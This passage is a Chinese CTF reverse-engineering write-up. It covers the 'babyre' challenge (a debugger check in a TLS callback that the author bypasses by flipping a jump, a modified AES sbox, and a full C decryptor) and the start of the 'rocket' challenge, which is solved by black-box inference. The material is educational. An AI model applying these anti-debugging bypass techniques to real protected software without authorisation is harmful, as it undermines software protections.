for v27 in range(16):
v29=iv[v27]^(v27-64+0x100)
v37.append(v29)
v28+=v29
s.add(v28==0x8a8)
if s.check() == sat:
model = s.model()
print(model)
else:
print("unsat")
#[flag0 = 51688, flag1 = 52384]

然后求出key和iv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag=[51688,52384]
v25=(flag[0]^flag[1])&0xff
v55=(flag[0]^flag[1])>>8
iv=[]
for v23 in range(16):
iv.append((v55+v23)^(v25+v23))
v57=0
key=[]
v28=0
for v27 in range(16):
v29=iv[v27]^(v27-64+0x100)
key.append(v29)
v28+=v29

最后解aes就行了

babyre

动调发现过不去,猜测tls里有反调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
int result; // eax
HANDLE CurrentProcess; // eax
int ProcessInformation; // [esp+E8h] [ebp-Ch] BYREF

__CheckForDebuggerJustMyCode(byte_2470F4);
ProcessInformation = 0;
AddVectoredExceptionHandler(0, Handler);//sbox加密
AddVectoredContinueHandler(0, sub_231041);
SetUnhandledExceptionFilter(TopLevelExceptionFilter);
result = j_NtQueryInformationProcess((HANDLE)0xFFFFFFFF, ProcessDebugPort, &ProcessInformation, 4u, 0);
if ( !result )
{
if ( ProcessInformation != 1 )
{
CurrentProcess = GetCurrentProcess();
TerminateProcess(CurrentProcess, 1u);
}
return 9 / 0;
}
return result;
}

看汇编把result判断的jnz改成jz就能跳过去,最牛的是这个tls里有一个veh,当我们主程序出现除0异常的时候,会跳到handle这个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int sub_239050()
{
char v0; // al
unsigned __int8 v1; // al
int result; // eax
char v3; // al
unsigned __int8 v4; // al
__int64 v5; // [esp-8h] [ebp-11Ch]
int v6; // [esp+10h] [ebp-104h]
int v7; // [esp+1Ch] [ebp-F8h]
char v8[12]; // [esp+28h] [ebp-ECh] BYREF
int v9; // [esp+34h] [ebp-E0h]
unsigned __int8 j; // [esp+103h] [ebp-11h]
unsigned __int8 i; // [esp+10Fh] [ebp-5h]

__CheckForDebuggerJustMyCode(byte_2470F4);
for ( i = 0; i < 0x10u; ++i )
{
for ( j = 0; j < 0x10u; ++j )
{
v5 = (j & 0xF) + (unsigned __int8)(16 * i);
sub_231442(v5, SHIDWORD(v5));
dword_244000[16 * i + j] = v9;
}
}
for ( i = 0; i < 0x10u; ++i )
{
for ( j = 0; j < 0x10u; ++j )
{
sub_231442(0, 0);
if ( (unsigned __int8)sub_2313AC((int)v8) )
{
v0 = sub_2312E4(&dword_244000[16 * i + j]);
v1 = sub_2315BE(v0, 283);
sub_231442(v1, 0);
dword_244000[16 * i + j] = v7;
}
}
}
for ( i = 0; ; ++i )
{
result = i;
if ( i >= 0x10u )
break;
for ( j = 0; j < 0x10u; ++j )
{
v3 = sub_2312E4(&dword_244000[16 * i + j]);
v4 = sub_231299(v3, 119);
sub_231442(v4, 0);
dword_244000[16 * i + j] = v6;
}
}
return result;
}

这个地方是对sbox进行的魔改,通过动调可以知道,他将逆sbox和sbox行列颠倒了,这是第一次魔改,再看主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
int v3; // eax
int j; // [esp+D0h] [ebp-1D8h]
int i; // [esp+DCh] [ebp-1CCh]
char v7[184]; // [esp+E8h] [ebp-1C0h] BYREF
char v8[4]; // [esp+1A0h] [ebp-108h] BYREF
_DWORD v9[16]; // [esp+1E8h] [ebp-C0h] BYREF
int v10; // [esp+228h] [ebp-80h] BYREF
char Str[52]; // [esp+270h] [ebp-38h] BYREF

__CheckForDebuggerJustMyCode(byte_2470F4);
j_memset(Str, 0, 0x30u);
sub_2310AF((int)v9, 4, 32, (int)sub_23116D);
sub_2310F5(std::cin, Str);
if ( j_strlen(Str) != 32 )
exit(-1);
sub_231442(23, 0);
sub_231442(147, 0);
sub_231442(56, 0);
sub_231442(12, 0);
sub_231442(17, 0);
sub_231442(167, 0);
sub_231442(247, 0);
sub_231442(84, 0);
sub_231442(247, 0);
sub_231442(137, 0);
sub_231442(200, 0);
sub_231442(32, 0);
sub_231442(212, 0);
sub_231442(26, 0);
sub_231442(250, 0);
sub_231442(37, 0);
sub_23124E(Str, v9, 32);
sub_2310AF((int)v7, 4, 44, (int)sub_2313D4);
sub_231483((int)v8, (int)v7);//初始化
sub_2315FF((int)v9, (int)v7);//主要加密
for ( i = 0; i < 16; ++i )
sub_23164A(&v9[i]);//对key进行异或
sub_231483((int)v8, (int)v7);//初始化
sub_2315FF((int)&v10, (int)v7);//主要加密
for ( j = 0; j < 32; ++j )
{
if ( (unsigned __int8)sub_2313AC((int)&v9[j]) )
exit(-1);
}
v3 = sub_2312BC(std::cout, "Congratulations! Your flag is: flag{(your input)}");
std::ostream::operator<<(v3, sub_23105A);
return 0;
}

这个加密是将32位的字符串先进行前16位aes加密,然后得到加密后的16位再与之前的key进行异或,然后得到后16位的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
#include <stdio.h>
#include <stdint.h>
#include <memory.h>
/****************************************************************************************************************/
typedef enum {
AES_CYPHER_128,
AES_CYPHER_192,
AES_CYPHER_256,
} AES_CYPHER_T;
/****************************************************************************************************************/
/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
/* AES_CYPHER_128 */ 128,
/* AES_CYPHER_192 */ 192,
/* AES_CYPHER_256 */ 256,
};
int g_aes_rounds[] = {
/* AES_CYPHER_128 */ 10,
/* AES_CYPHER_192 */ 12,
/* AES_CYPHER_256 */ 14,
};
int g_aes_nk[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 6,
/* AES_CYPHER_256 */ 8,
};
int g_aes_nb[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 4,
/* AES_CYPHER_256 */ 4,
};
/****************************************************************************************************************/
/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
* FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
* -----+------------------------------------------------------------------------------------------
* | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8] [ab] [4d] [9a]
* RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
*/
static const uint32_t g_aes_rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000, 0x9a000000
};
/****************************************************************************************************************/
/*
* aes sbox and invert-sbox
*/
static const uint8_t g_aes_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C D E F */
0x77,0x68,0x63,0x6f,0xe6,0x7f,0x7b,0xd1,0x24,0x15,0x73,0x3f,0xea,0xc3,0xbf,0x62,0xde,0x96,0xdd,0x69,0xee,0x4d,0x53,0xe4,0xb9,0xc0,0xb6,0xbb,0x88,0xb0,0x66,0xd4,0xa3,0xe9,0x87,0x32,0x22,0x2b,0xe3,0xd8,0x20,0xb1,0xf1,0xe5,0x65,0xcc,0x25,0x1,0x10,0xd3,0x37,
0xd7,0xc,0x82,0x11,0x8e,0x13,0x6,0x94,0xf6,0xff,0x33,0xa6,0x61,0x1d,0x97,0x38,0xe,0xf,0x7a,0x4e,0xb4,0x46,0x2f,0xc2,0xa7,0x3d,0xf7,0x3b,0x90,0x47,0xc5,0x14,0xf9,0x34,0xe8,0xa5
,0x4f,0x7e,0xdf,0xaa,0x2d,0x5e,0x58,0x4c,0xdb,0xc4,0xfb,0xbe,0xef,0x57,0x59,0x27,0x91,0x51,0xed,0x16,0x6b,0x44,0x28,0x8b,0xbc,0x45,0xb7,0x54,0x9b,0x86,0x89,0x2c,0xe1,0xa8,0xa2,0xce,0x35,0x4,0xeb,0xe7,0xc6,0xd9,0x18,0x7,0xf8,0x4b,0x83,0x50,0x3,0xd0,0xb3,0x6a,0x29,0x70,0x49,0xd,0x67,0x74,0x95,0x5b,0xc8,0x36,0x3e,0x84,0x9c,0x52,0xfa,0xac,0x0,0xca,
0x4a,0x1f,0xcf,0xf4,0x26,0x2e,0x1e,0x5d,0x12,0x30,0x48,0xd6,0xc7,0xb8,0x76,0x85,0x81,0xf0,0x6d,0xf3,0xdc,0x23,0x79,0x99,0xc1,0x5a,0xbd,0x78,0x42,0xe0,0xfe,0x71,0x6e,0xba,0x1c
,0xae,0x6c,0x31,0x3a,0x8,0xb2,0xa0,0xd2,0xfc,0xc9,0x60,0xb,0x5f,0xa9,0x9f,0x9e,0x64,0x2a
,0xa1,0x72,0x5c,0x17,0xe2,0x1a,0x75,0x21,0x43,0xad,0x92,0xd5,0x9,0x8a,0xf5,0xec,0x8c,0x5,0x7d,0xcd,0x9a,0x80,0x8f,0xa,0x93,0xfd,0xda,0x41,0x3c,0xcb,0x98,0xb5,0x9d,0x19,0xab,0xf2,0x56,0x7c,0x55,0x8d,0x39,0x1b,0xa4,0x40,0xaf,0x2
};
static const uint8_t g_inv_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C D E F */
0x9B,0x2F,0xFF,0x87,0x7C,0xE3,0x39,0x82,0xC4,0xDE,0xE9,0xCB,0x34,0x8E,0x43,0x44,
0x30,0x36,0xA5,0x38,0x52,0x09,0x6A,0xD5,0x81,0xF3,0xD7,0xFB,0xBF,0x40,0xA3,0x9E,0x28
,0xD9,0x24,0xB2,0x08,0x2E,0xA1,0x66,0x6D,0x8B,0xD1,0x25,0x76,0x5B,0xA2,0x49,0xA6,0xC2,0x23,0x3D,0x54,0x7B,0x94,0x32,0x42,0xFA,0xC3,0x4E,0xEE,0x4C,0x95,0x0B,0xFD,0xED,0xB9,0xDA,0x6C,0x70,0x48,0x50,0xA7,0x8D,0x9D,0x84,0x5E,0x15,0x46,0x57,0x86,0x68,0x98,0x16,0x72,0xF8,0xF6,0x64,0x5D,0x65,0xB6,0x92,0xD4,0xA4,0x5C,0xCC,0xCA,0x3F,0x0F,0x02,0xD0,0x2C,0x1E,0x8F,0x01,0x13,0x8A,0x6B,0xC1,0xAF,0xBD,0x03,0x8C,0xBC,0xD3,0x0A,0x90,0xD8,0xAB,0x00,0xB8,0xB3,0x45,0x06,0xF7,0xE4,0x58,0x05,0xE7,0xAD,0x35,0x85,0x96,
0xAC,0x74,0x22,0x1C,0x75,0xDF,0x6E,0xE2,0xF9,0x37,0xE8,0x4F,0x67,0xDC,0xEA,0x3A,0x91,0x11,0x41,0xF0,0xB4,0xE6,0x73,0x97,0xF2,0xCF,0xCE,0xC6,0xD2,0x79,0x20,0xFC,0x56,0x3E,0x4B,0x78,0xCD,0x5A,0xF4,0x9A,0xDB,0xC0,0xFE,0x1D,0x29,0xC5,0x89,0x47,0xF1,0x1A,0x71,0xAA,0x18,0xBE,0x1B,0x6F,0xB7,0x62,0x0E,0x19,0xB5,0x4A,0x0D,0x60,0x51,0x7F,0xA9,
0x93,0xC9,0x9C,0xEF,0x2D,0xE5,0x7A,0x9F,0x88,0x07,0xC7,0x31,0x1F,0xDD,0xA8,0x33,0x27,0x80,0xEC,0x5F,0xB1,0x12,0x10,0x59,0xBA,0x77,0xD6,0x26,0x17,0x2B,0x04,0x7E,0x55,0x21,0x0C,0x7D,0xE1,0x69,0x14,0x63,0xAE,0x2A,0xF5,0xB0,0xA0,0xE0,0x3B,0x4D,0x83,0x53,0x99,0x61,0xC8,0xEB,0xBB,0x3C
};
/****************************************************************************************************************/
uint8_t aes_sub_sbox(uint8_t val)
{
return g_aes_sbox[val];
}
/****************************************************************************************************************/
uint32_t aes_sub_dword(uint32_t val)
{
uint32_t tmp = 0;

tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 0) & 0xFF))) << 0;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 8) & 0xFF))) << 8;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;
tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;

return tmp;
}
/****************************************************************************************************************/
uint32_t aes_rot_dword(uint32_t val)
{
uint32_t tmp = val;

return (val >> 8) | ((tmp & 0xFF) << 24);
}
/****************************************************************************************************************/
uint32_t aes_swap_dword(uint32_t val)
{
return (((val & 0x000000FF) << 24) |
((val & 0x0000FF00) << 8) |
((val & 0x00FF0000) >> 8) |
((val & 0xFF000000) >> 24));
}
/****************************************************************************************************************/
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;

do {
w[i] = *((uint32_t *)&key[i * 4 + 0]);
} while (++i < g_aes_nk[mode]);

do {
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
t = aes_sub_dword(t);
t = t ^ aes_swap_dword(g_aes_rcon[i / g_aes_nk[mode] - 1]);
}
else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
}
else {
t = w[i - 1];
}
w[i] = w[i - g_aes_nk[mode]] ^ t;
} while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));
}
/****************************************************************************************************************/
void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,
uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;

for (i = 0; i < g_aes_nb[mode]; i++) {
s[i] ^= w[nr * g_aes_nb[mode] + i];
}
}
/****************************************************************************************************************/
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}
/****************************************************************************************************************/
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;

for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < i; j++) {
uint8_t tmp = s[i];
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
/****************************************************************************************************************/
uint8_t aes_xtime(uint8_t x)
{
return ((x << 1) ^ (((x >> 7) & 1) * 0x1b));
}
/****************************************************************************************************************/
uint8_t aes_xtimes(uint8_t x, int ts)
{
while (ts-- > 0) {
x = aes_xtime(x);
}

return x;
}
/****************************************************************************************************************/
uint8_t aes_mul(uint8_t x, uint8_t y)
{
/*
* encrypt: y has only 2 bits: can be 1, 2 or 3
* decrypt: y could be any value of 9, b, d, or e
*/

return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^
(((y >> 1) & 1) * aes_xtimes(x, 1)) ^
(((y >> 2) & 1) * aes_xtimes(x, 2)) ^
(((y >> 3) & 1) * aes_xtimes(x, 3)) ^
(((y >> 4) & 1) * aes_xtimes(x, 4)) ^
(((y >> 5) & 1) * aes_xtimes(x, 5)) ^
(((y >> 6) & 1) * aes_xtimes(x, 6)) ^
(((y >> 7) & 1) * aes_xtimes(x, 7)));
}
/****************************************************************************************************************/
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2 };
uint8_t s[4];
int i, j, r;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
/****************************************************************************************************************/
int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */

int nr, i, j;

/* key expansion */
aes_key_expansion(mode, key, w);

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

if (nr > 0) {

/* do SubBytes */
aes_sub_bytes(mode, s);

/* do ShiftRows */
aes_shift_rows(mode, s);

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
}

return 0;
}
/****************************************************************************************************************/
int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_encrypt(mode, data, len, key);
}
/****************************************************************************************************************/
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */

int nr, i, j;


/* key expansion */
aes_key_expansion(mode, key, w);

memcpy(v, iv, sizeof(v));

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];

/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {

if (nr > 0) {

/* do SubBytes */
aes_sub_bytes(mode, s);

/* do ShiftRows */
aes_shift_rows(mode, s);

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}

return 0;
}
/****************************************************************************************************************/
void inv_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;

for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < g_aes_nb[mode] - i; j++) {
uint8_t tmp = s[i];
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
/****************************************************************************************************************/
uint8_t inv_sub_sbox(uint8_t val)
{
return g_inv_sbox[val];
}
/****************************************************************************************************************/
void inv_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = inv_sub_sbox(state[i * 4 + j]);
}
}
}
/****************************************************************************************************************/
void inv_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 0x0e, 0x0b, 0x0d, 0x09, 0x09, 0x0e, 0x0b, 0x0d,
0x0d, 0x09, 0x0e, 0x0b, 0x0b, 0x0d, 0x09, 0x0e };
uint8_t s[4];
int i, j, r;

for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
/****************************************************************************************************************/
int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */

int nr, i, j;
//魔改
for(i=0;i<4;i++){
for(j=0;j<4;j++){
s[i+j*4]=data[i*4+j];
}
}
/* key expansion */
aes_key_expansion(mode, key, w);

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {

/* init state from user buffer (cyphertext) */
//for (j = 0; j < 4 * g_aes_nb[mode]; j++)
//s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);

if (nr > 0) {

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}

/* do ShiftRows */
inv_shift_rows(mode, s);

/* do SubBytes */
inv_sub_bytes(mode, s);
}
}

/* save state (cypher) to user buffer */
//for (j = 0; j < 4 * g_aes_nb[mode]; j++)
//data[i + j] = s[j];
//魔改
for(i=0;i<4;i++){
for(j=0;j<4;j++){
data[i*4+j]=s[i+j*4];
}
}
}

return 0;
}
/****************************************************************************************************************/
int aes_decrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
return aes_decrypt(mode, data, len, key);
}
/****************************************************************************************************************/
int aes_decrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = { 0 }; /* round key */
uint8_t s[4 * 4] = { 0 }; /* state */
uint8_t v[4 * 4] = { 0 }; /* iv */


int nr, i, j;

/* key expansion */
aes_key_expansion(mode, key, w);

memcpy(v, iv, sizeof(v));

/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {


/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];

/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {

/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);

if (nr > 0) {

if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}

/* do ShiftRows */
inv_shift_rows(mode, s);

/* do SubBytes */
inv_sub_bytes(mode, s);
}
}

/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++) {
uint8_t p = s[j] ^ v[j];
v[j] = data[i + j];
data[i + j] = p;
}
}

return 0;
}
/****************************************************************************************************************/
void aes_cypher_128_test()
{
#if 1
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
#else
uint8_t buf[] = { 0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d,
0x31, 0x31, 0x98, 0xa2, 0xe0, 0x37, 0x07, 0x34 };
uint8_t key[] = { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c };
#endif

aes_encrypt(AES_CYPHER_128, buf, sizeof(buf), key);

aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void aes_cypher_192_test()
{
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17 };

aes_encrypt(AES_CYPHER_192, buf, sizeof(buf), key);

aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void aes_cypher_256_test()
{
uint8_t buf[] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
uint8_t key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f };

aes_encrypt(AES_CYPHER_256, buf, sizeof(buf), key);

aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key);
}
/****************************************************************************************************************/
void main()
{
//数据
uint8_t buf[] = { 216, 87, 202, 196, 68, 68, 17, 110, 131, 11, 223, 113, 103, 120, 149,
125};

//密钥
uint8_t key[] = {23, 147, 56, 12, 17, 167, 247, 84, 247, 137, 200, 32, 212, 26, 250, 37};
//向量
uint8_t iv[] = {0x4d,0x4f,0x4d,0x43,0x45,0x47,0x45,0x43,0x5d,0x5f,0x5d,0x43,0x45,0x47,0x45,0x43};
switch (sizeof(key))
{
//ECB
case 16:aes_decrypt(AES_CYPHER_128, buf, sizeof(buf), key); break;
case 24:aes_decrypt(AES_CYPHER_192, buf, sizeof(buf), key); break;
case 32:aes_decrypt(AES_CYPHER_256, buf, sizeof(buf), key); break;
//CBC
/*
case 16:aes_decrypt_cbc(AES_CYPHER_128, buf, sizeof(buf), key, iv); break;
case 24:aes_decrypt_cbc(AES_CYPHER_192, buf, sizeof(buf), key, iv); break;
case 32:aes_decrypt_cbc(AES_CYPHER_256, buf, sizeof(buf), key, iv); break;
}
*/
}
for (int i = 0; i < sizeof(buf); i++)
{
printf("%c", buf[i] & 0xFF);
}
printf("\n");
return;
}
// 数据
uint8_t buf[] = { 180, 252, 42, 112, 54, 254, 140, 77, 50, 8, 226, 68, 27, 196, 57, 3 };
// 密钥
uint8_t key[] = { 207, 196, 242, 200, 85, 227, 230, 58, 116, 130, 23, 81, 179, 98, 111, 88 };

得到flag

祥云杯

这次比赛我觉得打的很有意义,有很多值得学习的地方,虽然在最后一分钟被py嘛了,但是还是可以的。

image-20221101103957337

RE

本次re题前两题都是第十个做出来的,但遇到后面的ollvm这种题就寄了,所以跟着其他大佬来复现。

rocket

是⼀个⽤racket写的程序,通过动调发现,应该是程序内部有东⻄可以运⾏某些指令,但运⾏时后⾯参数要填对。⽽且动调发现,输⼊之后会产⽣输出⽂件,通过输出⽂件进⾏对⽐。可以说是当成了黑盒来做

1
2
3
4
5
6
7
8
9
10
11
12
1
117649
2
125000
111
33506364520275803793
121
33514347173167210897
123456
158267354350243993992524262083318636839704
1234567
2655285589682614779062545959380794422209298811879

发现规律,猜测整个加密是将字符串ascii连接起来转成⼤数,然后进⾏⽴⽅,所以解密也就很简单了

1
2
3
4
5
6
